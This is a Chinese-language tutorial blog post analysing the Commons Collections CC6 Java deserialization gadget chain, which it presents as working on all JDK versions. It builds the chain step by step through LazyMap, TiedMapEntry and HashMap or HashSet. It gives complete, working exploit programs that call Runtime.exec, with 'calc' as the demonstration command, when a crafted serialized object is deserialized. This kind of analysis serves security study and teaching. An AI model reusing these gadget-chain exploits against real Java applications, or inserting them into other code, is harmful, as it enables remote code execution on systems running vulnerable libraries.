Java反序列化 CC6链分析

文章目录

前言

前面我们提到过,在JDK 8u71及以后,AnnotationInvocationHandler类的readObject方法被官方修改,加固了反序列化流程,导致不能再直接使用CC1调用LazyMap.get()触发恶意链条。今天我们来分析另一个链子,也是最好用的链子------CC6,CC6的通用性远强于CC1,通过新的入口组合HashMapTiedMapEntry来触发LazyMap.get(),因为HashMap是 Java 最基础的类,官方为了保证向后兼容性,几乎不可能修改它的反序列化逻辑,所以CC6不限制JDK版本,只要存在Commons Collections漏洞组件(<=3.2.1)即可触发

过程分析

LazyMap

这一部分还是跟之前一样,可以参考文章Java反序列化 CC1链分析 (LazyMap)

这里简单快速回顾一下

我们发现LazyMapget方法调用了transform

需要满足第一个条件map.containsKey(key) == false才可以调用transform,也就是要求map里面没有对应的key键名

然后我们看构造方法

factory参数可控,但是该构造方法被protected修饰,继续分析,发现decorate方法返回了该LazyMap的构造方法,而且是public,满足要求

根据之前讲的ChainedTransformer那一部分,我们可以构造测试代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
        decorate.get("key");
    }
}

成功弹出计算器

TiedMapEntry

接下来我们来寻找哪里调用了get方法,根据CC链作者的发现,我们在TiedMapEntrygetValue方法发现调用了get()

继续寻找哪里调用了getValue方法,上次CC5我们发现了该类的toString方法调用了getValue,这次我们分析另一个,同样也是该类的,但是是hashCode方法

我们看看构造方法,发现map和key均可控

那我们可以初步构造测试代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        tiedMapEntry.hashCode();
    }
}

成功弹出计算器

HashMap

接着我们继续寻找哪里调用了hashCode方法,发现HashMap类的hash方法调用了hashCode()

继续跟进,看看hash方法在哪里被调用,发现该类的readObject方法调用了hash,刚好还是反序列化入口,一举两得

readObject里面的这一大串代码是什么呢,其实是用于实现HashMap的反序列化机制,即把对象从流中还原为内存中的HashMap结构,确保反序列化后HashMap状态与序列化前一致,包括容量、负载因子、键值对数据等,因此我们可以不用管这个

然后key我们怎么控制呢,通过put方法传入键值对即可,我们看看该类的put方法是怎么写的

发现put方法里面也调用了hash方法,这就导致还没序列化就弹出计算器了,这并不是我们想要的

那如何解决呢,我们可以给LazyMap传入一个无害的Transformer,如ConstantTransformer(1),这样put的时候即使触发了也不会执行命令,后面我们再通过反射修改LazyMap内部的factory属性为ChainedTransformer即可

我们尝试构造代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        Map<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashMap);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是执行后并没有计算器弹出来,说明还存在一些问题

通过调试分析发现,在LazyMap执行get方法时,key并不等于false,而是为test,说明map里面已经存在了键名为test的键值对,这就导致无法进入if语句里面调用transform方法,为什么会这样呢

原因是我们前面调用hashMapput方法时,也就是hashMap.put(tiedMapEntry, "test");这条语句,它执行了一遍流程,调用了LazyMapget方法,当它再次进入if语句时,发现map里面没有key为test的键值对,就执行代码map.put(key, value);插入键值对,导致我们后面反序列化执行流程时map已经存在键值对,也就无法进入if语句了

所以解决办法就是在hashMap.put()之后,删掉LazyMap实例化对象的对应键值对,这样就不会直接返回该key的值,从而导致利用链断裂了

java 复制代码
decorate.remove("test");

最终利用

综上,我们可以得到完整exp为

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        Map<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "test");

        decorate.remove("test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashMap);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

这里放个流程图方便理解

HashSet

前面我们用的是HashMapreadObject,但在ysoserial里面的CC6用的入口是HashSetreadObject,因此我们补充讲解一下

我们跟进到HashSetreadObject方法,发现这里调用了put方法

前面一大串代码是恢复HashSet内部状态和备份HashMap结构的操作,可以不用管,我们只要传入e,也就是key为tiedMapEntry即可,怎么传呢,通过HashSet给的add方法来传

但是这里又有个put,会提前调用到hash方法触发利用链,这里的情况跟之前一样,咱们就不讲了,同样也是给LazyMap传入一个无害的 Transformer,如 ConstantTransformer(1),然后在hashSet.put()之后删掉LazyMap实例化对象的对应键值对即可

得到完整代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        HashSet hashSet = new HashSet<>();
        hashSet.add(tiedMapEntry);

        decorate.remove("test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashSet);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

同样的,我们放个流程图方便理解

总结

CC6利用链通过HashMapHashSet作为反序列化入口,巧妙利用了其readObject必然调用hash()的特性,配合TiedMapEntry成功绕过了JDK高版本对CC1的限制,实现了全版本通杀,不得不感慨CC6链作者的构思之精妙

相关推荐
网安小白的进阶之路3 小时前
B模块 安全通信网络 第一门课 园区网实现与安全-1
网络·安全
快起来搬砖了3 小时前
Vue 实现阿里云 OSS 视频分片上传:安全实战与完整方案
vue.js·安全·阿里云
leonardee4 小时前
Spring Security安全框架原理与实战
java·后端
q***5184 小时前
Spring Cloud gateway 路由规则
java
空空kkk4 小时前
SpringMVC框架——入门
java·spring
liyi_hz20085 小时前
云原生 + 国产化适配:O2OA (翱途)开发平台后端技术栈深度解析
java·后端·开源软件
⑩-5 小时前
缓存穿透,击穿,雪崩
java·redis
合作小小程序员小小店5 小时前
web网页开发,在线%考试管理%系统,基于Idea,html,css,jQuery,java,jsp,servlet,mysql。
java·前端·intellij-idea
程序媛_MISS_zhang_01105 小时前
vant-ui中List 组件可以与 PullRefresh 组件结合使用,实现下拉刷新的效果
java·linux·ui
曹牧5 小时前
Java中处理URL转义并下载PDF文件
java·开发语言·pdf